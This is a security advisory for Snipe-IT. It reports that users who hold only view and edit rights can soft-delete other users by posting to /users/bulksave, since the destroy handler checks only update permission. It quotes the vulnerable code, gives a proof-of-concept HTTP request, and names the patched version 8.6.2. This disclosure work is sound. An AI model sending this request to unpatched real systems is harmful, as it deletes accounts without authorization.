Snipe-IT has an authorization bypass on bulk editing users

Overview

Impact

An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.

Attacker Model

Authenticated non-admin user with:

{"users.view":"1","users.edit":"1"}

The attacker does not have users.delete, admin, or superuser.

Affected Component

• routes/web/users.php

• app/Http/Controllers/Users/BulkUsersController.php

• Endpoint: POST /users/bulksave

Root Cause

The UI only exposes bulk delete to users with delete permission:

@can('delete', \App\Models\User::class)
    <option value="delete">...</option>
    <option value="merge">...</option>
@endcan

The confirmation path also checks delete:

} elseif ($request->input('bulk_actions') == 'delete') {
    $this->authorize('delete', User::class);

However, the destructive route is registered separately:

Route::post('bulksave', [Users\BulkUsersController::class, 'destroy'])
    ->name('users/bulksave');

and destroy() authorizes only update:

public function destroy(Request $request)
{
    $this->authorize('update', User::class);

When delete_user=1 is present, the method reaches:

$user->delete();

Proof of Concept

1. Create a non-admin attacker account with users.view and users.edit, but not users.delete.

2. Create a harmless non-admin target user.

3. Log in as the attacker and obtain a valid CSRF token.

4. Send:

POST /users/bulksave HTTP/1.1
Host: <snipe-it-host>
Cookie: snipeit_session=<attacker-session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf-token>
ids[]=<target-user-id>
delete_user=1
status_id=<valid-status-id>

Observed response:

HTTP/1.1 302 Found
Location: http://<snipe-it-host>/users

Patches

Patched in 374f426f0c

Affected packages

• snipe/snipe-it <= 8.6.1

Remediation

Upgrade to a patched release:

• snipe/snipe-it 8.6.2